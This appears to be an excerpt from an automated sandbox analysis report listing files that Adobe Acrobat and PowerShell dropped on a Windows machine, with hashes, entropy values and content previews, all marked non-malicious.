Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.262130935988346
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJf+dPeUkwRe9:YvXKXe32UTbdLG28Ukee9
MD5:	9C253EF5D90EF2B2FFA20A69950376D6
SHA1:	01ED7C7957A40DE0CA999A521CD9487A994B801B
SHA-256:	21AD7300ADCA39A9A72DB8F87062B762484E8233ADDEC7784D15B18341AEBE98
SHA-512:	0225B94255DA82CAF7602BAD2EEC43F80D77EDDFF043B6BAE5EA08299225A0CFF4BF430058C49D3D0361825AA30E42AEF8B5FC1E29249EA3D8836AEF8AD51B6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.25991124377539
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJfbPtdPeUkwRe9:YvXKXe32UTbdLGDV8Ukee9
MD5:	FC0982BB5D39E0047F0C4E0B59B521E5
SHA1:	767899C19FBC72A18EDD5C9DF76C3541F27A8218
SHA-256:	3F1456B07AF6EAFA4864A4DE522AF91944BC6F5DF3FCD7B907CADCCBC89CC140
SHA-512:	329715184633479DDA3982CEF3D70F855A23E13FC59D03F07F6ADA6EA33F67E838847DE025D179067A37CC4F4A9A6A228DBDBA72751D64C024E7EE859D37E2E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.262648763911344
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJf21rPeUkwRe9:YvXKXe32UTbdLG+16Ukee9
MD5:	0E4FB9432C546FD57BF4709D37A68461
SHA1:	60B399245C623E54CED8CB95D35F703B83D6040F
SHA-256:	660E674977436CC40B38CD65DB0BA23F49F444DEFAE23FDA259B23912A799748
SHA-512:	9BDFFE6ECA0AF7D2E364BA6124A228F4BD7F4090AEFAC61B6E4A170F86BD99DDFDCFA40D8858961AC27F1AE41AB267E40D12D2AEFFFF6C3F328BC8ACD1E7ED7D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660161056670817
Encrypted:	false
SSDEEP:	24:Yv6Xe32UXaamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS4:YvpmwUBgkDMUJUAh8cvM4
MD5:	BDFA89A814ABF4BE3CD49AF6A310F8EB
SHA1:	E0FE1AC1FEF6CE7E348D3BE9B241D6F218E22FE6
SHA-256:	8EF51D30723C8C663C8A728BBAE1FD19B3CFABA8829F24E494391A9F1C152BB7
SHA-512:	1A41B1A85CD7D1712440C0B0BF0A68F896E511026F7E10622861A89C30BBDDF86B9BD826794BB59B9CA2D9098A07DEE1AFCB7B27221089CB6BFC05876412F41D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.23851625481839
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJfshHHrPeUkwRe9:YvXKXe32UTbdLGUUUkee9
MD5:	C4B74C11062956FDA0E9063EA26239D6
SHA1:	3D4E35820E4927E9E65D16C43973B655F93D4522
SHA-256:	3C4751A2B450BBB8759725350959BD5C125E133DCB433DCF386AC2D0B14C35AC
SHA-512:	B1EF13B4C544A57D46AB297FA6848B6B114E73CB3909DB5E13FDF0EE3A9080F9F715D516657C1070D157CC2CAE5285D662E565F788C5C5255084DEF9CFCB5D55
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.248984790484894
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRFO932UXjb24kF0YboAvJTqgFCrPeUkwRe9:YvXKXe32UTbdLGTq16Ukee9
MD5:	9C5A0B7747DF27D85A637E0B6E40ED39
SHA1:	DE1AF6884F3F3ED7AC0BA9F46B0F4EC254EBF25F
SHA-256:	D573133292F800D5115E0F23020B3BF17CD48D97CD4C7A3433CF1086CF1EAD4A
SHA-512:	9128F16E2E55B9606AC3C2EA0E271781A9C01EEA2AB70C6D6ABAAF1913A1940356862CDE7AC3D1282E06C889F9F4F403E4F431EAF222ACA403B14760E8584904
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5f1d54d4-2b62-40cb-8eb2-f54131b1eca6","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736759101541,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13853824292315
Encrypted:	false
SSDEEP:	24:YXfEam9ayddNZmYqywLnvyHFQ920jGvj0SohDQ2bBP2LSyCjqB4xzzec6BVV7525:YXUNAYqFvKKG7EsGPY8zzeLVxE9/
MD5:	2CED5BCE5C36961E1552AD9B2D3D8DC5
SHA1:	DD1CFFF8CBBE71BE835FB5CE4644E94B943432FF
SHA-256:	C703E79ED40A7FA1A2431F0A121195DC2254637D4110E0637EAF9C5F2E64BB42
SHA-512:	758A389FC212ADF102AAFDB1C6D01D28FEC4517859F3772F7DA166334BCC75F93E9ACD31925CBEB871B570F18E527F2E7BCE009DF1BB867BB27DF883F3E69C4C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ab938fe1eda9b40e00b3c000d7819d27","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736583721000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"69f6fc0627da1c712753fb393fd56f84","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736583721000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"7bb2f5b1504ceb830016277a802fee5a","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736583721000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f30cd6636f34c7cca7097289eb74106b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736583721000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"83461a48da93c9882a81a65aafe4c7d0","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736583721000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a9f810ec79233948b24bafc558a0009c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3206393853975078
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yn+EXSqXlyN:TGufl2GL7msUKB0M0+Tb608Y+rN
MD5:	8E97E44285080706CE57B679E574942A
SHA1:	F8EDD459F1A0DB586543201D0CB9BFC3084A549D
SHA-256:	52843E189AB557E132EE3D14CBF61D5D84C7A31CDD1D285D1BA2D2C76947618C
SHA-512:	C1F19BB8B3CBB2850B149D3EB6EA9DB15CC1427A9DFA58DA50103CAB5CDA2A175C047D9EC657D5223FF3D87457E6E6090C2AD9814E72CEB3DB66ACDA3C614FA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7801249915876851
Encrypted:	false
SSDEEP:	24:7+tPl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yn/EXSqXlyGKaizqLhx/XYKQvGf:7MhKB0M0+Tb608Y/rGK3qFl2GL7msr
MD5:	90585AE1E9C9FA6DC4B79A46AF2C8E41
SHA1:	31D3642BA8E522A86A2927E70DF7A0CB663EDACA
SHA-256:	9EC2F4C512D8CE0FE322CCDD75158B9CC6073D6C96D398B9384EC6A7ACF94C26
SHA-512:	773E1AE84CE88D1CEE398E7E8BAF25C99C977A7DEF7F1E5EA821477B9FDCC5BEC52B4AF28B04DE038B1D2CE3E411A708D9EE0BD3830337EE83E5CCAAD61A72CA
Malicious:	false
Preview:	.... .c.....R@h...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgU2ZjK77GXWMcMj1bZzvWMV2kYyu:6a6TZ44ADEU2O7GXWNFrkK
MD5:	9930DB063E47A364B1A947223BDE1E77
SHA1:	41AB178B897F3ECE7CE55F6C58596FBB7FB105C9
SHA-256:	D1D57E422E859FDA48671F94F0147AB7A6BAD78BA159DCF60598B192DAACC4D6
SHA-512:	E8FE93D614A6D5D88FA243B24A2E589745ED04DFAF123FFB6C4ADBFEF17445AF211069864FE2140C569216F508FDCED3F6805DDC6FDD8DA03D247EA346BFAC9F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIebffb.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl+GlNH:Qw946cPbiOxDlbYnuRKdhE
MD5:	14D29E393EE4540EAA8912B514329C74
SHA1:	5E5D8EF367DD9ED51DCF19EA10764E4C8DF96A2C
SHA-256:	A2D19FD858B317F6B98560E7707D058D081621D7F9394420EC7C45CA2F69D3B4
SHA-512:	2B26D56E02BD25C2182BD39F17693049C77276CB38CFD6AFE91ACF4DB9B17AD37CDA2832F5D9B98CD7C4258C45B456D99D74592D129B82C02F41E5E29D0467BC
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.3.:.2.2.:.0.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jygszu31.w1y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zqn0fqq5.eyi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A99weca1_wdmw7b_4hw.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 03-21-54-515.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.339127065874769
Encrypted:	false
SSDEEP:	384:W9ahy0Ll6DSPQ2Lv6CYZEWKwM3SpdKbRHQ5ucUEarlWgdi27Fg+xNUNklS4aOqCv:XVP
MD5:	A31E97111D68DD8583EEF3FA3E1D4936
SHA1:	D48E89B488BB4AF27E24D9EA8F721E34D6736F07
SHA-256:	7A058E337B518A5A47F4973E66421847D74F188BDA0F5A04BA21F7CA72C4ED38
SHA-512:	5658307C4EB0B149012B662735F2FD69B35F54CC3E86FF25882DA2744DB86D988B5800FFE97C5439CF2C411E17CD37689F70923336DBA2D866FA89F115DA8309
Malicious:	false
Preview:	SessionID=dd80a8e8-dd51-4c3b-9dbe-2808763aad82.1736583714537 Timestamp=2025-01-11T03:21:54:537-0500 ThreadID=8604 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=dd80a8e8-dd51-4c3b-9dbe-2808763aad82.1736583714537 Timestamp=2025-01-11T03:21:54:546-0500 ThreadID=8604 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=dd80a8e8-dd51-4c3b-9dbe-2808763aad82.1736583714537 Timestamp=2025-01-11T03:21:54:547-0500 ThreadID=8604 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=dd80a8e8-dd51-4c3b-9dbe-2808763aad82.1736583714537 Timestamp=2025-01-11T03:21:54:547-0500 ThreadID=8604 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=dd80a8e8-dd51-4c3b-9dbe-2808763aad82.1736583714537 Timestamp=2025-01-11T03:21:54:547-0500 ThreadID=8604 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399063179461648
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmO:EGvIcNYdmOD
MD5:	4A7AE5B3A9C08EB293B0CC117ACB5974
SHA1:	D06B892145DF42473407F536112A4977AB83C37A
SHA-256:	2DB9EFAE162AFD7D51BCD1CF986EF727B6ACD4A7C67BD472454AD93D58616566
SHA-512:	CA9DA53CEAE88458D4E5868D0CDB3EB3109263A9EAD0B2D1B75DD04C71FF6F14D1C7ED4D1AA329AC50369BAFD6C302D9F06C672BB22FD2369230702099F3ABB5
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0e50ce89-d174-413f-9e9b-7199f4c6d7c2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
